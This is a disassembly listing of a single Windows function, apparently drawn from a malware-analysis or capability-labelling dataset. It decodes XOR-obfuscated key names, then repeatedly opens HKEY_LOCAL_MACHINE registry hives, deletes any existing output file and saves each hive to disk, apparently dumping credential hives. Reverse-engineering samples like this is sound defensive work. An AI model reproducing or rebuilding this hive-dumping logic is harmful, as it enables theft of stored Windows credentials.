Function at 0x1400015e0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x14001f008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor r14d, r14d
mov qword [rbp - 0x59], r14
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x15c
mov eax, dword [rcx + rsi]
mov edi, 0x248
add rdi, rsi
test al, 1
jne 0x14000165d
or eax, 1
mov dword [rcx + rsi], eax
mov byte [rdi + 8], 1
mov dword [rdi], 0xd0001c
mov dword [rdi + 4], 0x290030
lea rcx, [0x140013a70]
call fcn.1400024ac
nop
cmp byte [rdi + 8], 0
je 0x14000167e
xor word [rdi], 0x4f
mov eax, 0x91
xor word [rdi + 2], ax
xor word [rdi + 4], 0x7d
xor word [rdi + 6], 0x29
mov byte [rdi + 8], 0
mov dword [rbp + 7], 0x700e6
mov dword [rbp + 0xb], 0x9f0057
mov dword [rbp + 0xf], 0x4e00a6
mov dword [rbp + 0x13], 0x5900dd
mov dword [rbp + 0x17], 0x5c00d6
mov dword [rbp + 0x1b], 0xbe0066
mov dword [rbp + 0x1f], 0x4f00a6
mov dword [rbp + 0x23], 0x710083
mov dword [rbp + 0x27], 0x4900dd
mov r8d, 0xb
mov ecx, 0x268
mov eax, dword [rcx + rsi]
mov edx, 0x1a8
test al, 1
jne 0x14000173d
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x26], 1
lea rax, [rbx + 0x24]
lea rcx, [rbp + 0x2b]
cmp rbx, rcx
ja 0x140001714
lea rcx, [rbp + 7]
cmp rax, rcx
jb 0x140001714
movups xmm0, xmmword [rbp + 7]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp + 0x17]
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp + 0x27]
mov dword [rbx + 0x20], eax
mov word [rbx + 0x24], r8w
jmp 0x14000172e
movups xmm0, xmmword [rbp + 7]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp + 0x17]
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp + 0x27]
mov dword [rbx + 0x20], eax
mov word [rbx + 0x24], r8w
lea rcx, [0x140013a30]
call fcn.1400024ac
nop
jmp 0x140001741
lea rbx, [rdx + rsi]
mov r8d, 0xcb
cmp byte [rbx + 0x26], 0
je 0x1400017b7
mov edx, 0xa5
xor word [rbx], dx
xor word [rbx + 2], 0x3d
xor word [rbx + 4], 0xb
xor word [rbx + 6], r8w
mov ecx, 0xc3
xor word [rbx + 8], cx
xor word [rbx + 0xa], 0x23
mov eax, 0xad
xor word [rbx + 0xc], ax
xor word [rbx + 0xe], 5
xor word [rbx + 0x10], dx
xor word [rbx + 0x12], 0x3d
xor word [rbx + 0x14], 0xb
xor word [rbx + 0x16], r8w
xor word [rbx + 0x18], cx
xor word [rbx + 0x1a], 0x23
xor word [rbx + 0x1c], ax
xor word [rbx + 0x1e], 5
xor word [rbx + 0x20], dx
xor word [rbx + 0x22], 0x3d
xor word [rbx + 0x24], 0xb
mov byte [rbx + 0x26], 0
lea rax, [rbp - 0x59]
mov qword [rsp + 0x20], rax
mov r9d, 0x20000
xor r8d, r8d
mov rdx, rdi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov r9d, 2
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegSaveKeyExW]
mov r13d, 0xb7
cmp eax, r13d
jne 0x140001813
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegSaveKeyW]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp - 0x59], r14
mov ecx, 0x19c
mov eax, dword [rcx + rsi]
mov edx, 0x200
mov edi, 0xc7
test al, 1
jne 0x140001873
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x12], 1
mov dword [rbx], 0x620094
mov dword [rbx + 4], 0xe800d0
mov dword [rbx + 8], 0x3400e3
mov dword [rbx + 0xc], 0x56002f
mov word [rbx + 0x10], di
lea rcx, [0x140013a10]
call fcn.1400024ac
nop
jmp 0x140001877
lea rbx, [rsi + rdx]
mov ecx, 0xb1
lea r15d, [rcx - 0x1e]
cmp byte [rbx + 0x12], 0
je 0x1400018b7
xor word [rbx], di
xor word [rbx + 2], 0x27
xor word [rbx + 4], r15w
mov eax, 0xbd
xor word [rbx + 6], ax
xor word [rbx + 8], cx
xor word [rbx + 0xa], 0x7d
xor word [rbx + 0xc], 0x7b
xor word [rbx + 0xe], 0xf
xor word [rbx + 0x10], di
mov byte [rbx + 0x12], 0
mov dword [rbp - 0x51], 0x150094
mov dword [rbp - 0x4d], 0xef00f5
mov dword [rbp - 0x49], 0x380014
mov dword [rbp - 0x45], 0xd500a7
mov dword [rbp - 0x41], 0x4a00a4
mov dword [rbp - 0x3d], 0xcf00ca
mov dword [rbp - 0x39], 0x3a0018
mov dword [rbp - 0x35], 0xa700b9
mov dword [rbp - 0x31], 0x5700a3
mov dword [rbp - 0x2d], 0xbb00dd
mov r8d, 0xbb
mov ecx, 0x160
mov eax, dword [rcx + rsi]
mov edx, 0x1d0
test al, 1
jne 0x140001981
or eax, 1
mov dword [rcx + rsi], eax
lea rdi, [rsi + rdx]
mov byte [rdi + 0x28], 1
lea rax, [rdi + 0x26]
lea rcx, [rbp - 0x2b]
cmp rdi, rcx
ja 0x140001953
lea rcx, [rbp - 0x51]
cmp rax, rcx
jb 0x140001953
movups xmm0, xmmword [rbp - 0x51]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp - 0x41]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [rbp - 0x31]
movsd qword [rdi + 0x20], xmm0
jmp 0x14000196c
movups xmm0, xmmword [rbp - 0x51]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp - 0x41]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [rbp - 0x31]
movsd qword [rdi + 0x20], xmm0
lea rcx, [0x1400139d0]
call fcn.1400024ac
nop
mov r8d, 0xbb
jmp 0x140001985
lea rdi, [rsi + rdx]
cmp byte [rdi + 0x28], 0
je 0x1400019f7
mov edx, 0xd7
xor word [rdi], dx
xor word [rdi + 2], 0x2f
mov ecx, 0xa9
xor word [rdi + 4], cx
xor word [rdi + 6], r8w
xor word [rdi + 8], 0x71
xor word [rdi + 0xa], 0x55
xor word [rdi + 0xc], dx
mov eax, 0x89
xor word [rdi + 0xe], ax
xor word [rdi + 0x10], dx
xor word [rdi + 0x12], 0x2f
xor word [rdi + 0x14], cx
xor word [rdi + 0x16], r8w
xor word [rdi + 0x18], 0x71
xor word [rdi + 0x1a], 0x55
xor word [rdi + 0x1c], dx
xor word [rdi + 0x1e], ax
xor word [rdi + 0x20], dx
xor word [rdi + 0x22], 0x2f
xor word [rdi + 0x24], cx
xor word [rdi + 0x26], r8w
mov byte [rdi + 0x28], 0
lea rax, [rbp - 0x59]
mov qword [rsp + 0x20], rax
mov r9d, 0x20000
xor r8d, r8d
mov rdx, rbx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov r9d, 2
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegSaveKeyExW]
cmp eax, r13d
jne 0x140001a4d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegSaveKeyW]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp - 0x59], r14
mov ecx, 0x1a0
mov eax, dword [rcx + rsi]
mov edx, 0x258
test al, 1
jne 0x140001aa3
or eax, 1
mov dword [rcx + rsi], eax
lea rdi, [rsi + rdx]
mov byte [rdi + 0xe], 1
mov dword [rdi], 0xca0032
mov dword [rdi + 4], 0x4b00de
mov dword [rdi + 8], 0x6600d2
mov word [rdi + 0xc], 0x6b
lea rcx, [0x1400139b0]
call fcn.1400024ac
nop
jmp 0x140001aa7
lea rdi, [rsi + rdx]
cmp byte [rdi + 0xe], 0
je 0x140001adb
xor word [rdi], 0x61
xor word [rdi + 2], r15w
mov eax, 0x8d
xor word [rdi + 4], ax
xor word [rdi + 6], 0x1f
mov eax, 0x97
xor word [rdi + 8], ax
xor word [rdi + 0xa], 0x2b
xor word [rdi + 0xc], 0x6b
mov byte [rdi + 0xe], 0
mov dword [rbp - 0x29], 0x2d0074
mov dword [rbp - 0x25], 0xdb00b7
mov dword [rbp - 0x21], 0x5200d6
mov dword [rbp - 0x1d], 0x1100b1
mov dword [rbp - 0x19], 0x6e0044
mov dword [rbp - 0x15], 0xfb0098
mov dword [rbp - 0x11], 0x5200d6
mov dword [rbp - 0xd], 0x3900a0
mov dword [rbp - 9], 0x74005e
mov dword [rbp - 5], 0xfb00c5
mov dword [rbp - 1], 0x4b00cb
mov r14d, 0xc1
mov ecx, 0x130
mov eax, dword [rcx + rsi]
mov edx, 0x218
test al, 1
jne 0x140001bbc
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x2e], 1
lea rax, [rbx + 0x2c]
lea rcx, [rbp + 3]
cmp rbx, rcx
ja 0x140001b89
lea rcx, [rbp - 0x29]
cmp rax, rcx
jb 0x140001b89
movups xmm0, xmmword [rbp - 0x29]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 0x19]
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp - 9]
movsd qword [rbx + 0x20], xmm0
mov eax, dword [rbp - 1]
mov dword [rbx + 0x28], eax
mov word [rbx + 0x2c], r14w
jmp 0x140001bad
movups xmm0, xmmword [rbp - 0x29]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 0x19]
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp - 9]
movsd qword [rbx + 0x20], xmm0
mov eax, dword [rbp - 1]
mov dword [rbx + 0x28], eax
mov word [rbx + 0x2c], r14w
lea rcx, [0x140013960]
call fcn.1400024ac
nop
jmp 0x140001bc0
lea rbx, [rsi + rdx]
cmp byte [rbx + 0x2e], 0
je 0x140001c42
xor word [rbx], 0x37
xor word [rbx + 2], 0x17
mov edx, 0xeb
xor word [rbx + 4], dx
mov ecx, 0x8f
xor word [rbx + 6], cx
mov eax, 0xb3
xor word [rbx + 8], ax
xor word [rbx + 0xa], 0x3f
xor word [rbx + 0xc], r14w
xor word [rbx + 0xe], 0x4d
xor word [rbx + 0x10], 0x37
xor word [rbx + 0x12], 0x17
xor word [rbx + 0x14], dx
xor word [rbx + 0x16], cx
xor word [rbx + 0x18], ax
xor word [rbx + 0x1a], 0x3f
xor word [rbx + 0x1c], r14w
xor word [rbx + 0x1e], 0x4d
xor word [rbx + 0x20], 0x37
xor word [rbx + 0x22], 0x17
xor word [rbx + 0x24], dx
xor word [rbx + 0x26], cx
xor word [rbx + 0x28], ax
xor word [rbx + 0x2a], 0x3f
xor word [rbx + 0x2c], r14w
mov byte [rbx + 0x2e], 0
lea rax, [rbp - 0x59]
mov qword [rsp + 0x20], rax
mov r9d, 0x20000
xor r8d, r8d
mov rdx, rdi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov r9d, 2
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegSaveKeyExW]
cmp eax, r13d
jne 0x140001c98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegSaveKeyW]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400020e0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret